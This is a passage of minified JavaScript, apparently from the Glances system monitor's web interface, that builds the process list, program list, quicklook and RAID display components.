this.stats_processlist.find(t=>!0===t.extended_stats)||null},processes(){const{sorter:t}=this,e=(this.stats_processlist||[]).map(t=>this.updateProcess(t,this.data.stats.isWindows,this.args,this.cpucore));return(0,fm.orderBy)(e,[t.column].reduce((t,e)=>(\"io_counters\"===e&&(e=[\"io_read\",\"io_write\"]),t.concat(e)),[]),[t.isReverseColumn(t.column)?\"desc\":\"asc\"]).slice(0,this.limit)},ioReadWritePresentProcesses(){return(this.stats_processlist||[]).some(({io_counters:t})=>t)},stats_programlist(){return this.data.stats.programlist},programs(){const{sorter:t}=this,e=this.data.stats.isWindows,r=(this.stats_programlist||[]).map(t=>(t.memvirt=\"?\",t.memres=\"?\",t.memory_info&&(t.memvirt=t.memory_info.vms,t.memres=t.memory_info.rss),e&&null!==t.username&&(t.username=(0,fm.last)(t.username.split(\"\\\\\"))),t.timeforhuman=\"?\",t.cpu_times&&(t.timeplus=$h([t.cpu_times.user,t.cpu_times.system]),t.timeforhuman=t.timeplus.hours.toString().padStart(2,\"0\")+\":\"+t.timeplus.minutes.toString().padStart(2,\"0\")+\":\"+t.timeplus.seconds.toString().padStart(2,\"0\")),null===t.num_threads&&(t.num_threads=-1),null===t.cpu_percent&&(t.cpu_percent=-1),null===t.memory_percent&&(t.memory_percent=-1),t.io_read=null,t.io_write=null,t.io_counters&&(t.io_read=(t.io_counters[0]-t.io_counters[2])/t.time_since_update,t.io_write=(t.io_counters[1]-t.io_counters[3])/t.time_since_update),t.isNice=void 0!==t.nice&&(e&&32!=t.nice||!e&&0!=t.nice),Array.isArray(t.cmdline)&&(t.cmdline=t.cmdline.join(\" \").replace(/\\n/g,\" \")),\"string\"==typeof t.cmdline&&0!==t.cmdline.length||(t.cmdline=t.name),t));return(0,fm.orderBy)(r,[t.column].reduce((t,e)=>(\"io_counters\"===e&&(e=[\"io_read\",\"io_write\"]),t.concat(e)),[]),[t.isReverseColumn(t.column)?\"desc\":\"asc\"]).slice(0,this.limit)},ioReadWritePresentPrograms(){return(this.stats_programlist||[]).some(({io_counters:t})=>t)},limit(){return void 0!==this.config.outputs?this.config.outputs.max_processes_display:void 0},focus(){return void 0!==this.args&&void 0!==this.args.process_focus&&null!==this.args.process_focus?this.args.process_focus.split(\",\"):void 0!==this.config.processlist&&void 0!==this.config.processlist.focus&&null!==this.config.processlist.focus?this.config.processlist.focus.split(\",\"):[]},is_focus(){return this.focus.length>0}},methods:{updateProcess:(t,e,r,n)=>(t.memvirt=\"?\",t.memres=\"?\",t.memory_info&&(t.memvirt=t.memory_info.vms,t.memres=t.memory_info.rss),e&&null!==t.username&&(t.username=(0,fm.last)(t.username.split(\"\\\\\"))),t.timeforhuman=\"?\",t.cpu_times&&(t.timeplus=$h([t.cpu_times.user,t.cpu_times.system]),t.timeforhuman=t.timeplus.hours.toString().padStart(2,\"0\")+\":\"+t.timeplus.minutes.toString().padStart(2,\"0\")+\":\"+t.timeplus.seconds.toString().padStart(2,\"0\")),null===t.num_threads&&(t.num_threads=-1),t.irix=1,null===t.cpu_percent?t.cpu_percent=-1:r.disable_irix&&(t.irix=n),null===t.memory_percent&&(t.memory_percent=-1),t.io_read=null,t.io_write=null,t.io_counters&&(t.io_read=(t.io_counters[0]-t.io_counters[2])/t.time_since_update,t.io_write=(t.io_counters[1]-t.io_counters[3])/t.time_since_update),t.isNice=void 0!==t.nice&&(e&&32!=t.nice||!e&&0!=t.nice),Array.isArray(t.cmdline)&&(t.name=t.name+\" \"+t.cmdline.slice(1).join(\" \").replace(/\\n/g,\" \"),t.cmdline=t.cmdline.join(\" \").replace(/\\n/g,\" \")),\"string\"==typeof t.cmdline&&0!==t.cmdline.length||(t.cmdline=t.name),t),getCpuPercentAlert:t=>vm.getAlert(\"processlist\",\"processlist_cpu_\",t.cpu_percent),getMemoryPercentAlert:t=>vm.getAlert(\"processlist\",\"processlist_mem_\",t.cpu_percent),getDisableStats:()=>vm.getLimit(\"processlist\",\"processlist_disable_stats\")||[],getDisableVms:()=>\"true\"===(vm.getLimit(\"processlist\",\"processlist_disable_virtual_memory\")||[\"False\"])[0].toLowerCase(),setExtendedStats(t){fetch(\"api/4/processes/extended/\"+t.toString(),{method:\"POST\"}).then(t=>t.json()),this.$forceUpdate()},disableExtendedStats(){fetch(\"api/4/processes/extended/disable\",{method:\"POST\"}).then(t=>t.json()),this.$forceUpdate()}}},wA={components:{GlancesPluginAmps:Wb,GlancesPluginProcesscount:Yb,GlancesPluginProcesslist:(0,am.A)(xA,[[\"render\",function(t,e,r,n,i,o){return Ou(),ju(Cu,null,[qu(\" Display processes \"),o.args.programs?qu(\"v-if\",!0):(Ou(),ju(\"section\",Jb,[null!==o.extended_stats?(Ou(),ju(\"div\",qb,[Wu(\"div\",null,[e[26]||(e[26]=Wu(\"span\",{class:\"title\"},\"Pinned task: \",-1)),Wu(\"span\",null,Ds(t.$filters.limitTo(o.extended_stats.cmdline,80)),1),Wu(\"span\",null,[Wu(\"button\",{class:\"button\",onClick:e[0]||(e[0]=t=>o.disableExtendedStats())},\"Unpin\")])]),Wu(\"div\",null,[e[27]||(e[27]=Wu(\"span\",null,\"CPU Min/Max/Mean: \",-1)),Wu(\"span\",Zb,Ds(t.$filters.number(o.extended_stats.cpu_min,1))+\"% / \"+Ds(t.$filters.number(o.extended_stats.cpu_max,1))+\"% / \"+Ds(t.$filters.number(o.extended_stats.cpu_mean,1))+\"%\",1),e[28]||(e[28]=Wu(\"span\",null,\"Affinity: \",-1)),Wu(\"span\",Vb,Ds(o.extended_stats.cpu_affinity|t.length),1)]),Wu(\"div\",null,[e[29]||(e[29]=Wu(\"span\",null,\"MEM Min/Max/Mean: \",-1)),Wu(\"span\",zb,Ds(t.$filters.number(o.extended_stats.memory_min,1))+\"% / \"+Ds(t.$filters.number(o.extended_stats.memory_max,1))+\"% / \"+Ds(t.$filters.number(o.extended_stats.memory_mean,1))+\"%\",1),e[30]||(e[30]=Wu(\"span\",null,\"Memory info: \",-1)),Wu(\"span\",Xb,Ds(t.$filters.dictToString(o.extended_stats.memory_info)),1)])])):qu(\"v-if\",!0),Bl(Wu(\"div\",null,\"Focus on following processes: \"+Ds(o.focus.join(\", \")),513),[[Od,o.is_focus]]),Wu(\"div\",$b,[Wu(\"table\",tA,[Wu(\"thead\",null,[Wu(\"tr\",null,[Bl(Wu(\"td\",{scope:\"col\",class:_s([\"sortable\",\"cpu_percent\"===r.sorter.column&&\"sort\"]),onClick:e[1]||(e[1]=e=>t.$emit(\"update:sorter\",\"cpu_percent\"))},[Bl(Wu(\"span\",null,\"CPU%\",512),[[Od,!o.args.disable_irix]]),Bl(Wu(\"span\",null,\"CPUi\",512),[[Od,o.args.disable_irix]])],2),[[Od,!o.getDisableStats().includes(\"cpu_percent\")]]),Bl(Wu(\"td\",{scope:\"col\",class:_s([\"sortable\",\"memory_percent\"===r.sorter.column&&\"sort\"]),onClick:e[2]||(e[2]=e=>t.$emit(\"update:sorter\",\"memory_percent\"))},\" MEM% \",2),[[Od,!o.getDisableStats().includes(\"memory_percent\")]]),Bl(Wu(\"td\",eA,\" PID \",512),[[Od,!o.getDisableStats().includes(\"pid\")]]),Bl(Wu(\"td\",{scope:\"col\",class:_s([\"sortable\",\"username\"===r.sorter.column&&\"sort\"]),onClick:e[3]||(e[3]=e=>t.$emit(\"update:sorter\",\"username\"))},\" USER \",2),[[Od,!o.getDisableStats().includes(\"username\")]]),Bl(Wu(\"td\",{scope:\"col\",class:_s([\"sortable\",\"name\"===r.sorter.column&&\"sort\"]),onClick:e[4]||(e[4]=e=>t.$emit(\"update:sorter\",\"name\"))},\" Command (click to pin) \",2),[[Od,!o.getDisableStats().includes(\"cmdline\")]])])]),Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.processes,(e,r)=>(Ou(),ju(\"tr\",{key:r,style:{cursor:\"pointer\"},onClick:t=>o.setExtendedStats(e)},[Bl(Wu(\"td\",{scope:\"row\",class:_s(o.getCpuPercentAlert(e))},Ds(-1==e.cpu_percent?\"?\":t.$filters.number(e.cpu_percent/e.irix,1)),3),[[Od,!o.getDisableStats().includes(\"cpu_percent\")]]),Bl(Wu(\"td\",{scope:\"row\",class:_s(o.getMemoryPercentAlert(e))},Ds(-1==e.memory_percent?\"?\":t.$filters.number(e.memory_percent,1)),3),[[Od,!o.getDisableStats().includes(\"memory_percent\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(e.pid),513),[[Od,!o.getDisableStats().includes(\"pid\")]]),Bl(Wu(\"td\",{scope:\"row\",class:\"text-truncate\"},Ds(e.name),513),[[Od,o.args.process_short_name&&!o.getDisableStats().includes(\"cmdline\")]]),Bl(Wu(\"td\",{scope:\"row\",class:\"text-truncate\"},Ds(e.cmdline),513),[[Od,!o.args.process_short_name&&!o.getDisableStats().includes(\"cmdline\")]])],8,rA))),128))])])]),Wu(\"div\",nA,[Wu(\"table\",iA,[Wu(\"thead\",null,[Wu(\"tr\",null,[Bl(Wu(\"td\",{scope:\"col\",class:_s([\"sortable\",\"cpu_percent\"===r.sorter.column&&\"sort\"]),onClick:e[5]||(e[5]=e=>t.$emit(\"update:sorter\",\"cpu_percent\"))},[Bl(Wu(\"span\",null,\"CPU%\",512),[[Od,!o.args.disable_irix]]),Bl(Wu(\"span\",null,\"CPUi\",512),[[Od,o.args.disable_irix]])],2),[[Od,!o.getDisableStats().includes(\"cpu_percent\")]]),Bl(Wu(\"td\",{scope:\"col\",class:_s([\"sortable\",\"memory_percent\"===r.sorter.column&&\"sort\"]),onClick:e[6]||(e[6]=e=>t.$emit(\"update:sorter\",\"memory_percent\"))},\" MEM% \",2),[[Od,!o.getDisableStats().includes(\"memory_percent\")]]),Bl(Wu(\"td\",oA,\" VIRT \",512),[[Od,!o.getDisableStats().includes(\"memory_info\")&&!o.getDisableVms()]]),Bl(Wu(\"td\",sA,\" RES \",512),[[Od,!o.getDisableStats().includes(\"memory_info\")]]),Bl(Wu(\"td\",aA,\" PID \",512),[[Od,!o.getDisableStats().includes(\"pid\")]]),Bl(Wu(\"td\",{scope:\"col\",class:_s([\"sortable\",\"username\"===r.sorter.column&&\"sort\"]),onClick:e[7]||(e[7]=e=>t.$emit(\"update:sorter\",\"username\"))},\" USER \",2),[[Od,!o.getDisableStats().includes(\"username\")]]),Bl(Wu(\"td\",{scope:\"col\",class:_s([\"sortable\",\"timemillis\"===r.sorter.column&&\"sort\"]),onClick:e[8]||(e[8]=e=>t.$emit(\"update:sorter\",\"timemillis\"))},\" TIME+ \",2),[[Od,!o.getDisableStats().includes(\"cpu_times\")]]),Bl(Wu(\"td\",{scope:\"col\",class:_s([\"sortable\",\"num_threads\"===r.sorter.column&&\"sort\"]),onClick:e[9]||(e[9]=e=>t.$emit(\"update:sorter\",\"num_threads\"))},\" THR \",2),[[Od,!o.getDisableStats().includes(\"num_threads\")]]),Bl(Wu(\"td\",lA,\"NI\",512),[[Od,!o.getDisableStats().includes(\"nice\")]]),Bl(Wu(\"td\",cA,\"S \",512),[[Od,!o.getDisableStats().includes(\"status\")]]),Bl(Wu(\"td\",{scope:\"col\",class:_s([\"\",[\"sortable\",\"io_counters\"===r.sorter.column&&\"sort\"]]),onClick:e[10]||(e[10]=e=>t.$emit(\"update:sorter\",\"io_counters\"))},\" IORps \",2),[[Od,o.ioReadWritePresentProcesses&&!o.getDisableStats().includes(\"io_counters\")]]),Bl(Wu(\"td\",{scope:\"col\",class:_s([\"text-start\",[\"sortable\",\"io_counters\"===r.sorter.column&&\"sort\"]]),onClick:e[11]||(e[11]=e=>t.$emit(\"update:sorter\",\"io_counters\"))},\" IOWps \",2),[[Od,o.ioReadWritePresentProcesses&&!o.getDisableStats().includes(\"io_counters\")]]),Bl(Wu(\"td\",{scope:\"col\",class:_s([\"sortable\",\"cpu_num\"===r.sorter.column&&\"sort\"]),onClick:e[12]||(e[12]=e=>t.$emit(\"update:sorter\",\"cpu_num\"))},\" CPU \",2),[[Od,!o.getDisableStats().includes(\"cpu_num\")]]),Bl(Wu(\"td\",{scope:\"col\",class:_s([\"sortable\",\"name\"===r.sorter.column&&\"sort\"]),onClick:e[13]||(e[13]=e=>t.$emit(\"update:sorter\",\"name\"))},\" Command (click to pin) \",2),[[Od,!o.getDisableStats().includes(\"cmdline\")]])])]),Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.processes,(e,r)=>(Ou(),ju(\"tr\",{key:r,style:{cursor:\"pointer\"},onClick:t=>o.setExtendedStats(e.pid)},[Bl(Wu(\"td\",{scope:\"row\",class:_s(o.getCpuPercentAlert(e))},Ds(-1==e.cpu_percent?\"?\":t.$filters.number(e.cpu_percent/e.irix,1)),3),[[Od,!o.getDisableStats().includes(\"cpu_percent\")]]),Bl(Wu(\"td\",{scope:\"row\",class:_s(o.getMemoryPercentAlert(e))},Ds(-1==e.memory_percent?\"?\":t.$filters.number(e.memory_percent,1)),3),[[Od,!o.getDisableStats().includes(\"memory_percent\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(t.$filters.bytes(e.memvirt)),513),[[Od,!o.getDisableStats().includes(\"memory_info\")&&!o.getDisableVms()]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(t.$filters.bytes(e.memres)),513),[[Od,!o.getDisableStats().includes(\"memory_info\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(e.pid),513),[[Od,!o.getDisableStats().includes(\"pid\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(e.username),513),[[Od,!o.getDisableStats().includes(\"username\")]]),Bl(Wu(\"td\",{scope:\"row\",class:\"\"},Ds(e.timeforhuman),513),[[Od,!o.getDisableStats().includes(\"cpu_times\")]]),\"?\"==e.timeplus?Bl((Ou(),ju(\"td\",dA,\"?\",512)),[[Od,!o.getDisableStats().includes(\"cpu_times\")]]):qu(\"v-if\",!0),Bl(Wu(\"td\",{scope:\"row\",class:\"\"},Ds(-1==e.num_threads?\"?\":e.num_threads),513),[[Od,!o.getDisableStats().includes(\"num_threads\")]]),Bl(Wu(\"td\",{scope:\"row\",class:_s({nice:e.isNice})},Ds(t.$filters.exclamation(e.nice)),3),[[Od,!o.getDisableStats().includes(\"nice\")]]),Bl(Wu(\"td\",{scope:\"row\",class:_s({status:\"R\"==e.status})},Ds(e.status),3),[[Od,!o.getDisableStats().includes(\"status\")]]),Bl(Wu(\"td\",{scope:\"row\",class:\"\"},Ds(t.$filters.bytes(e.io_read)),513),[[Od,o.ioReadWritePresentProcesses&&!o.getDisableStats().includes(\"io_counters\")]]),Bl(Wu(\"td\",{scope:\"row\",class:\"text-start\"},Ds(t.$filters.bytes(e.io_write)),513),[[Od,o.ioReadWritePresentProcesses&&!o.getDisableStats().includes(\"io_counters\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(null==e.cpu_num||e.cpu_num<0?\"-\":e.cpu_num),513),[[Od,!o.getDisableStats().includes(\"cpu_num\")]]),Bl(Wu(\"td\",{scope:\"row\",class:\"text-truncate\"},Ds(e.name),513),[[Od,o.args.process_short_name&&!o.getDisableStats().includes(\"cmdline\")]]),Bl(Wu(\"td\",{scope:\"row\",class:\"text-truncate\"},Ds(e.cmdline),513),[[Od,!o.args.process_short_name&&!o.getDisableStats().includes(\"cmdline\")]])],8,uA))),128))])])])])),qu(\" Display programs \"),o.args.programs?(Ou(),ju(\"section\",pA,[Wu(\"div\",mA,[Wu(\"table\",hA,[Wu(\"thead\",null,[Wu(\"tr\",null,[Bl(Wu(\"td\",{class:_s([\"sortable\",\"cpu_percent\"===r.sorter.column&&\"sort\"]),onClick:e[14]||(e[14]=e=>t.$emit(\"update:sorter\",\"cpu_percent\"))},[Bl(Wu(\"span\",null,\"CPU%\",512),[[Od,!o.args.disable_irix]]),Bl(Wu(\"span\",null,\"CPUi\",512),[[Od,o.args.disable_irix]])],2),[[Od,!o.getDisableStats().includes(\"cpu_percent\")]]),Bl(Wu(\"td\",{class:_s([\"sortable\",\"memory_percent\"===r.sorter.column&&\"sort\"]),onClick:e[15]||(e[15]=e=>t.$emit(\"update:sorter\",\"memory_percent\"))},\" MEM% \",2),[[Od,!o.getDisableStats().includes(\"memory_percent\")]]),Bl(Wu(\"td\",null,\" NPROCS \",512),[[Od,!o.getDisableStats().includes(\"nprocs\")]]),Bl(Wu(\"td\",{scope:\"row\",class:_s([\"sortable\",\"name\"===r.sorter.column&&\"sort\"]),onClick:e[16]||(e[16]=e=>t.$emit(\"update:sorter\",\"name\"))},\" Command (click to pin) \",2),[[Od,!o.getDisableStats().includes(\"cmdline\")]])])]),Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.programs,(e,r)=>(Ou(),ju(\"tr\",{key:r},[Bl(Wu(\"td\",{scope:\"row\",class:_s(o.getCpuPercentAlert(e))},Ds(-1==e.cpu_percent?\"?\":t.$filters.number(e.cpu_percent/e.irix,1)),3),[[Od,!o.getDisableStats().includes(\"cpu_percent\")]]),Bl(Wu(\"td\",{scope:\"row\",class:_s(o.getMemoryPercentAlert(e))},Ds(-1==e.memory_percent?\"?\":t.$filters.number(e.memory_percent,1)),3),[[Od,!o.getDisableStats().includes(\"memory_percent\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(e.nprocs),513),[[Od,!o.getDisableStats().includes(\"nprocs\")]]),Bl(Wu(\"td\",{scope:\"row\",class:\"text-truncate\"},Ds(e.name),513),[[Od,o.args.process_short_name&&!o.getDisableStats().includes(\"cmdline\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(e.cmdline),513),[[Od,!o.args.process_short_name&&!o.getDisableStats().includes(\"cmdline\")]])]))),128))])])]),Wu(\"div\",gA,[Wu(\"table\",fA,[Wu(\"thead\",null,[Wu(\"tr\",null,[Bl(Wu(\"td\",{class:_s([\"sortable\",\"cpu_percent\"===r.sorter.column&&\"sort\"]),onClick:e[17]||(e[17]=e=>t.$emit(\"update:sorter\",\"cpu_percent\"))},[Bl(Wu(\"span\",null,\"CPU%\",512),[[Od,!o.args.disable_irix]]),Bl(Wu(\"span\",null,\"CPUi\",512),[[Od,o.args.disable_irix]])],2),[[Od,!o.getDisableStats().includes(\"cpu_percent\")]]),Bl(Wu(\"td\",{class:_s([\"sortable\",\"memory_percent\"===r.sorter.column&&\"sort\"]),onClick:e[18]||(e[18]=e=>t.$emit(\"update:sorter\",\"memory_percent\"))},\" MEM% \",2),[[Od,!o.getDisableStats().includes(\"memory_percent\")]]),Bl(Wu(\"td\",bA,\" VIRT \",512),[[Od,!o.getDisableStats().includes(\"memory_info\")]]),Bl(Wu(\"td\",AA,\" RES \",512),[[Od,!o.getDisableStats().includes(\"memory_info\")]]),Bl(Wu(\"td\",null,\" NPROCS \",512),[[Od,!o.getDisableStats().includes(\"nprocs\")]]),Bl(Wu(\"td\",{scope:\"row\",class:_s([\"sortable\",\"username\"===r.sorter.column&&\"sort\"]),onClick:e[19]||(e[19]=e=>t.$emit(\"update:sorter\",\"username\"))},\" USER \",2),[[Od,!o.getDisableStats().includes(\"username\")]]),Bl(Wu(\"td\",{scope:\"row\",class:_s([\"\",[\"sortable\",\"timemillis\"===r.sorter.column&&\"sort\"]]),onClick:e[20]||(e[20]=e=>t.$emit(\"update:sorter\",\"timemillis\"))},\" TIME+ \",2),[[Od,!o.getDisableStats().includes(\"cpu_times\")]]),Bl(Wu(\"td\",{scope:\"row\",class:_s([\"\",[\"sortable\",\"num_threads\"===r.sorter.column&&\"sort\"]]),onClick:e[21]||(e[21]=e=>t.$emit(\"update:sorter\",\"num_threads\"))},\" THR \",2),[[Od,!o.getDisableStats().includes(\"num_threads\")]]),Bl(Wu(\"td\",yA,\"NI\",512),[[Od,!o.getDisableStats().includes(\"nice\")]]),Bl(Wu(\"td\",vA,\"S \",512),[[Od,!o.getDisableStats().includes(\"status\")]]),Bl(Wu(\"td\",{scope:\"row\",class:_s([\"\",[\"sortable\",\"io_counters\"===r.sorter.column&&\"sort\"]]),onClick:e[22]||(e[22]=e=>t.$emit(\"update:sorter\",\"io_counters\"))},\" IORps \",2),[[Od,o.ioReadWritePresentPrograms&&!o.getDisableStats().includes(\"io_counters\")]]),Bl(Wu(\"td\",{scope:\"row\",class:_s([\"text-start\",[\"sortable\",\"io_counters\"===r.sorter.column&&\"sort\"]]),onClick:e[23]||(e[23]=e=>t.$emit(\"update:sorter\",\"io_counters\"))},\" IOWps \",2),[[Od,o.ioReadWritePresentPrograms&&!o.getDisableStats().includes(\"io_counters\")]]),Bl(Wu(\"td\",{scope:\"col\",class:_s([\"sortable\",\"cpu_num\"===r.sorter.column&&\"sort\"]),onClick:e[24]||(e[24]=e=>t.$emit(\"update:sorter\",\"cpu_num\"))},\" CPU \",2),[[Od,!o.getDisableStats().includes(\"cpu_num\")]]),Bl(Wu(\"td\",{scope:\"row\",class:_s([\"sortable\",\"name\"===r.sorter.column&&\"sort\"]),onClick:e[25]||(e[25]=e=>t.$emit(\"update:sorter\",\"name\"))},\" Command (click to pin) \",2),[[Od,!o.getDisableStats().includes(\"cmdline\")]])])]),Wu(\"tbody\",null,[(Ou(!0),ju(Cu,null,vc(o.programs,(e,r)=>(Ou(),ju(\"tr\",{key:r},[Bl(Wu(\"td\",{scope:\"row\",class:_s(o.getCpuPercentAlert(e))},Ds(-1==e.cpu_percent?\"?\":t.$filters.number(e.cpu_percent/e.irix,1)),3),[[Od,!o.getDisableStats().includes(\"cpu_percent\")]]),Bl(Wu(\"td\",{scope:\"row\",class:_s(o.getMemoryPercentAlert(e))},Ds(-1==e.memory_percent?\"?\":t.$filters.number(e.memory_percent,1)),3),[[Od,!o.getDisableStats().includes(\"memory_percent\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(t.$filters.bytes(e.memvirt)),513),[[Od,!o.getDisableStats().includes(\"memory_info\")&&!o.getDisableVms()]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(t.$filters.bytes(e.memres)),513),[[Od,!o.getDisableStats().includes(\"memory_info\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(e.nprocs),513),[[Od,!o.getDisableStats().includes(\"nprocs\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(e.username),513),[[Od,!o.getDisableStats().includes(\"username\")]]),Bl(Wu(\"td\",{scope:\"row\",class:\"\"},Ds(e.timeforhuman),513),[[Od,!o.getDisableStats().includes(\"cpu_times\")]]),Bl(Wu(\"td\",{scope:\"row\",class:\"\"},Ds(-1==e.num_threads?\"?\":e.num_threads),513),[[Od,!o.getDisableStats().includes(\"num_threads\")]]),Bl(Wu(\"td\",{scope:\"row\",class:_s({nice:e.isNice})},Ds(t.$filters.exclamation(e.nice)),3),[[Od,!o.getDisableStats().includes(\"nice\")]]),Bl(Wu(\"td\",{scope:\"row\",class:_s({status:\"R\"==e.status})},Ds(e.status),3),[[Od,!o.getDisableStats().includes(\"status\")]]),Bl(Wu(\"td\",{scope:\"row\",class:\"\"},Ds(t.$filters.bytes(e.io_read)),513),[[Od,o.ioReadWritePresentPrograms&&!o.getDisableStats().includes(\"io_counters\")]]),Bl(Wu(\"td\",{scope:\"row\",class:\"text-start\"},Ds(t.$filters.bytes(e.io_write)),513),[[Od,o.ioReadWritePresentPrograms&&!o.getDisableStats().includes(\"io_counters\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(null==e.cpu_num||e.cpu_num<0?\"-\":e.cpu_num),513),[[Od,!o.getDisableStats().includes(\"cpu_num\")]]),Bl(Wu(\"td\",{scope:\"row\",class:\"text-truncate\"},Ds(e.name),513),[[Od,o.args.process_short_name&&!o.getDisableStats().includes(\"cmdline\")]]),Bl(Wu(\"td\",{scope:\"row\"},Ds(e.cmdline),513),[[Od,!o.args.process_short_name&&!o.getDisableStats().includes(\"cmdline\")]])]))),128))])])])])):qu(\"v-if\",!0)],64)}]])},props:{data:{type:Object}},data:()=>({store:ym,sorter:void 0}),computed:{args(){return this.store.args||{}},sortProcessesKey(){return this.args.sort_processes_key}},watch:{sortProcessesKey:{immediate:!0,handler(t){t&&![\"cpu_percent\",\"memory_percent\",\"username\",\"timemillis\",\"num_threads\",\"io_counters\",\"name\",\"cpu_num\"].includes(t)||(this.sorter={column:this.args.sort_processes_key||\"cpu_percent\",auto:!this.args.sort_processes_key,isReverseColumn:function(t){return![\"username\",\"name\",\"timemillis\",\"cpu_num\"].includes(t)},getColumnLabel:function(t){return{cpu_percent:\"CPU consumption\",memory_percent:\"memory consumption\",username:\"user name\",timemillis:\"process time\",cpu_times:\"process time\",io_counters:\"disk IO\",name:\"process name\",cpu_num:\"CPU core number\",None:\"None\"}[t]||t}})}}}},_A=(0,am.A)(wA,[[\"render\",function(t,e,r,n,i,o){const s=fc(\"glances-plugin-processcount\"),a=fc(\"glances-plugin-amps\"),l=fc(\"glances-plugin-processlist\");return o.args.disable_process?(Ou(),ju(\"div\",Nb,\"PROCESSES DISABLED (press 'z' to display)\")):(Ou(),ju(\"div\",Fb,[Uu(s,{sorter:i.sorter,data:r.data},null,8,[\"sorter\",\"data\"]),o.args.disable_amps?qu(\"v-if\",!0):(Ou(),ju(\"div\",Mb,[Wu(\"div\",jb,[Uu(a,{data:r.data},null,8,[\"data\"])])])),Uu(l,{sorter:i.sorter,data:r.data,\"onUpdate:sorter\":e[0]||(e[0]=t=>o.args.sort_processes_key=t)},null,8,[\"sorter\",\"data\"])]))}]]),kA={id:\"quicklook\",class:\"plugin\"},CA={class:\"d-flex justify-content-between\"},IA={class:\"text-start text-truncate\"},SA={key:0,class:\"text-end d-none d-xxl-block frequency\"},EA={class:\"table-responsive\"},DA={class:\"table table-sm table-borderless\"},BA={key:0},OA={scope:\"col\",class:\"progress\"},TA=[\"aria-valuenow\"],NA={scope:\"col\",class:\"text-end\"},FA={scope:\"col\"},MA={scope:\"col\",class:\"progress\"},jA=[\"aria-valuenow\"],PA={scope:\"col\",class:\"text-end\"},RA={scope:\"col\"},LA={scope:\"col\",class:\"progress\"},QA=[\"aria-valuenow\"],GA={scope:\"col\",class:\"text-end\"};const WA={props:{data:{type:Object}},data:()=>({store:ym}),computed:{args(){return this.store.args||{}},config(){return this.store.config||{}},stats(){return this.data.stats.quicklook},view(){return this.data.views.quicklook},cpu(){return this.stats.cpu},cpu_name(){return this.stats.cpu_name},cpu_hz_current(){return(this.stats.cpu_hz_current/1e9).toFixed(2)},cpu_hz(){return(this.stats.cpu_hz/1e9).toFixed(2)},percpus(){const t=this.stats.percpu.map(({cpu_number:t,total:e})=>({number:t,total:e})),e=parseInt(this.config.percpu.max_cpu_display);if(this.stats.percpu.length>e){var r=t.sort((t,e)=>e.total-t.total);const n={number:\"x\",total:Number((r.slice(e).reduce((t,{total:e})=>t+e,0)/(this.stats.percpu.length-e)).toFixed(1))};(r=r.slice(0,e)).push(n)}return this.stats.percpu.length<=e?t:r},stats_list_after_cpu(){return this.view.list.filter(t=>!t.includes(\"cpu\"))}},methods:{getDecoration(t){if(void 0!==this.view[t])return this.view[t].decoration.toLowerCase()}}},UA=(0,am.A)(WA,[[\"render\",function(t,e,r,n,i,o){return Ou(),ju(\"section\",kA,[Wu(\"div\",CA,[Wu(\"span\",IA,Ds(o.cpu_name),1),o.cpu_hz_current?(Ou(),ju(\"span\",SA,Ds(o.cpu_hz_current)+\"/\"+Ds(o.cpu_hz)+\"Ghz \",1)):qu(\"v-if\",!0)]),Wu(\"div\",EA,[Wu(\"table\",DA,[o.args.percpu?qu(\"v-if\",!0):(Ou(),ju(\"tr\",BA,[e[0]||(e[0]=Wu(\"td\",{scope:\"col\"},\"CPU\",-1)),Wu(\"td\",OA,[Wu(\"div\",{class:_s(`progress-bar progress-bar-${o.getDecoration(\"cpu\")}`),role:\"progressbar\",\"aria-valuenow\":o.cpu,\"aria-valuemin\":\"0\",\"aria-valuemax\":\"100\",style:As(`width: ${o.cpu}%;`)},\"   \",14,TA)]),Wu(\"td\",NA,[Wu(\"span\",null,Ds(o.cpu)+\"%\",1)])])),o.args.percpu?(Ou(!0),ju(Cu,{key:1},vc(o.percpus,(t,e)=>(Ou(),ju(\"tr\",{key:e},[Wu(\"td\",FA,\"CPU\"+Ds(t.number),1),Wu(\"td\",MA,[Wu(\"div\",{class:_s(`progress-bar progress-bar-${o.getDecoration(\"cpu\")}`),role:\"progressbar\",\"aria-valuenow\":t.total,\"aria-valuemin\":\"0\",\"aria-valuemax\":\"100\",style:As(`width: ${t.total}%;`)},\"   \",14,jA)]),Wu(\"td\",PA,[Wu(\"span\",null,Ds(t.total)+\"%\",1)])]))),128)):qu(\"v-if\",!0),(Ou(!0),ju(Cu,null,vc(o.stats_list_after_cpu,t=>(Ou(),ju(\"tr\",null,[Wu(\"td\",RA,Ds(t.toUpperCase()),1),Wu(\"td\",LA,[Wu(\"div\",{class:_s(`progress-bar progress-bar-${o.getDecoration(t)}`),role:\"progressbar\",\"aria-valuenow\":o.stats[t],\"aria-valuemin\":\"0\",\"aria-valuemax\":\"100\",style:As(`width: ${o.stats[t]}%;`)},\"   \",14,QA)]),Wu(\"td\",GA,[Wu(\"span\",null,Ds(o.stats[t])+\"%\",1)])]))),256))])])])}]]),KA={key:0,id:\"raid\",class:\"plugin\"},HA={class:\"table table-sm table-borderless margin-bottom\"},YA={scope:\"col\"},JA={scope:\"row\"},qA={class:\"warning\"};const ZA={props:{data:{type:Object}},computed:{stats(){return this.data.stats.raid},disks(){const t=Object.entries(this.stats).map(([t,e])=>{const r=Object.entries(e.components).map(([t,e])=>({number:e,name:t}));return{name:t,type:null==e.type?\"UNKNOWN\":e.type,used:e.used,available:e.available,status:e.status,degraded:e.used<e.available,config:null==e.config?\"\":e.config.replace(\"_\",\"A\"),inactive:\"inactive\"==e.status,components:(0,fm.orderBy)(r,[\"number\"])}});return(0,fm.orderBy)(t,[\"name\"])},hasDisks(){return 